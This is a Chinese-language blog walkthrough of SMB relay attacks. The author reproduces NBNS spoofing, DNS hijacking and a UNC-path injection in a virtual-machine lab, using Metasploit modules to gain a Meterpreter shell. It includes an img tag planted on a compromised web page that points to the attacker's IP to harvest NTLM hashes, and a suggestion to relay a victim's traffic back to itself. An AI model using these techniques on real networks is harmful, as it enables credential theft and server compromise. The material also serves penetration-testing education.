再談SMB中繼攻擊
PS:下面的都是自己實(shí)際測(cè)試過(guò)的,并非理論文章,如果有什么地方不對(duì)的請(qǐng)斧正,謝謝 >_<
首先,介紹一下SMB中繼攻擊的運(yùn)作原理
假設(shè)左邊的主機(jī)為A,右邊的主機(jī)為B
A試圖訪問(wèn)B的共享服務(wù)
第一步 A對(duì)B說(shuō):騷年,請(qǐng)讓我登陸
第二步 B對(duì)A說(shuō):騷年,我給你一個(gè)challenge,請(qǐng)先把你的密碼Hash和challenge加密一下返回給我,我得確認(rèn)你是否有權(quán)限
第三步 A對(duì)B說(shuō):我加密好了,給你
情景一:
第四步 B對(duì)A說(shuō):嗯,對(duì)的,請(qǐng)進(jìn)(認(rèn)證結(jié)束)
情景二:
第四步 B對(duì)A說(shuō):騷年,不對(duì),你的身份不能登陸,你可以試試以別人的身份來(lái)登陸
第五步 A對(duì)B說(shuō):好嘛,我用你之前告訴我的身份試試,回到第一步,循環(huán)下去
現(xiàn)在,如果加入了一名第三者C到兩者之間,C企圖查看B的隱私,C會(huì)怎么做?
上圖就是C的做法
第一步 A對(duì)C說(shuō):騷年,請(qǐng)讓我登陸
第二步 C對(duì)B說(shuō):騷年,請(qǐng)讓我登陸
第三步 B對(duì)C說(shuō):騷年,我給你一個(gè)challenge,請(qǐng)先把你的密碼Hash和challenge加密一下返回給我,我得確認(rèn)你是否有權(quán)限
第四步 C對(duì)A說(shuō):騷年,我給你一個(gè)challenge(這是B發(fā)出的challenge),請(qǐng)先把你的密碼Hash和challenge加密一下返回給我,我得確認(rèn)你是否有權(quán)限
第五步 A對(duì)C說(shuō):我加密好了,給你
第六步 C對(duì)B說(shuō):我加密好了,給你
情景一:
第七步 B對(duì)C說(shuō):嗯,對(duì)的,請(qǐng)進(jìn)(認(rèn)證結(jié)束,C替代A獲取了權(quán)限)
第八步 C對(duì)A說(shuō):騷年,不對(duì),你的身份不能登陸(A的認(rèn)證結(jié)束)
情景二:
第七步 B對(duì)C說(shuō):騷年,不對(duì),你的身份不能登陸,你可以試試以別人的身份來(lái)登陸
第八步 C對(duì)B說(shuō):好嘛,我用你之前告訴我的身份試試
第九步 C對(duì)A說(shuō):騷年,不對(duì),你的身份不能登陸,你可以試試以別人的身份來(lái)登陸
第十步 A對(duì)C說(shuō):好嘛,我用你之前告訴我的身份試試,回到第一步,循環(huán)下去
OK,你可以看出,A和B都被C欺騙了,這明顯是一場(chǎng)中間人攻擊
這里面還有一處不合理的地方,不知道你發(fā)現(xiàn)沒有,A想和B對(duì)話,怎么會(huì)和C吹起牛來(lái)了呢?
肯定是A誤以為C就是B,C是怎么做到的呢?
下面就來(lái)探究一下C的騙人手法,如果你是C你會(huì)怎么做呢?
1. NBNS欺騙,前提
a) A B C必須都處在同一個(gè)局域網(wǎng)下面
b) A尋找B是用的B的計(jì)算機(jī)名而不是B的ip
2. DNS劫持,前提
a) A尋找B是用的B的域名而不是B的ip
下面就讓我們來(lái)重演一下這次攻擊!
方式1:NBNS欺騙 + SMB中繼
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130 計(jì)算機(jī)名:smbserver
C kali 192.168.30.145
Kali msf下使用smb_replay模塊,設(shè)置SMBHOST為B(192.168.30.130)
Kali msf下使用nbns_response模塊將B的計(jì)算機(jī)名(smbserver)解析到C的IP(192.168.30.145)
Winxp 訪問(wèn)smbserver的共享
OK,到Kali下看看結(jié)果
Cool,我們成功拿到了B的Meterpreter shell
原理:NBNS是廣播的,所以C只需要趕在B之前告訴A:“C的計(jì)算機(jī)名是smbserver”就行了
方式2:DNS劫持+SMB中繼
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130 域名:share.baidu.com
C kali 192.168.30.145
由于虛擬機(jī)有限,我將B模擬成一臺(tái)內(nèi)網(wǎng)中被黑掉的DNS服務(wù)器
Kali msf下使用smb_replay模塊,設(shè)置SMBHOST為B(192.168.30.130)
將DNS服務(wù)器的 share.baidu.com 域名指向C(192.168.30.145)
Winxp 訪問(wèn)share.baidu.com的共享
OK,到Kali下看看結(jié)果
成功拿到B的shell
如果你很注意細(xì)節(jié),你應(yīng)該會(huì)有一個(gè)問(wèn)題,如果我們將NBNS欺騙和DNS劫持同時(shí)啟用,但指向不同的IP會(huì)有怎樣的效果?
我將告訴你:只有DNS劫持會(huì)起作用
看下圖就知道了
A先訪問(wèn)一個(gè)不存在的名字,同時(shí)抓取數(shù)據(jù)包
你可以看出A(192.168.30.129)發(fā)出的第一個(gè)數(shù)據(jù)包是DNS查詢
上面的兩種攻擊都是在A先試圖想和B說(shuō)話造成的,假如他們本來(lái)就不怎么聯(lián)系那我們豈不是要等很久?
這太被動(dòng)了,我必須改變這種局面!!怎么改呢,下面就是我想說(shuō)的了 >_<
UNC攻擊+SMB中繼
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130
C kali 192.168.30.145
由于虛擬機(jī)有限,我將B模擬成一臺(tái)被黑掉的WEB服務(wù)器(域名www.caoliu.oh)
管理員每天都喜歡在個(gè)人機(jī)上訪問(wèn)草榴網(wǎng),看看有什么新的資源
我知道他會(huì)這樣,所以我先拿下了草榴的WEB權(quán)限,然后在首頁(yè)插入了這樣的一個(gè)鏈接
<imgsrc=”192.168.30.145rio.jpg”/>
很不幸,這張圖他不會(huì)看到,如果他的個(gè)人機(jī)的賬戶及密碼是和服務(wù)器是一樣的,呵呵,他的服務(wù)器就這么淪陷了。但是有一個(gè)前提 A B C的共享都是互相可訪問(wèn)的,如果個(gè)人機(jī)在防火墻外,那這就不可行了。
原理就是這樣,不插圖了,自己腦補(bǔ)一下就行了 >_<
SMB中繼升級(jí)版
上面都是A訪問(wèn)B導(dǎo)致B被黑掉,而且UNC攻擊還需要在賬戶及密碼一樣的情況下才能成功,這太二了,既然可以SMB中繼,為何我們不把A的流量中繼到A本身,那樣賬戶和密碼一定是對(duì)的。如果A開啟了共享,且可被C訪問(wèn),那么一定會(huì)攻擊成功。好了,就到這里,具體的自己實(shí)驗(yàn)吧!
相關(guān)文章:
http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python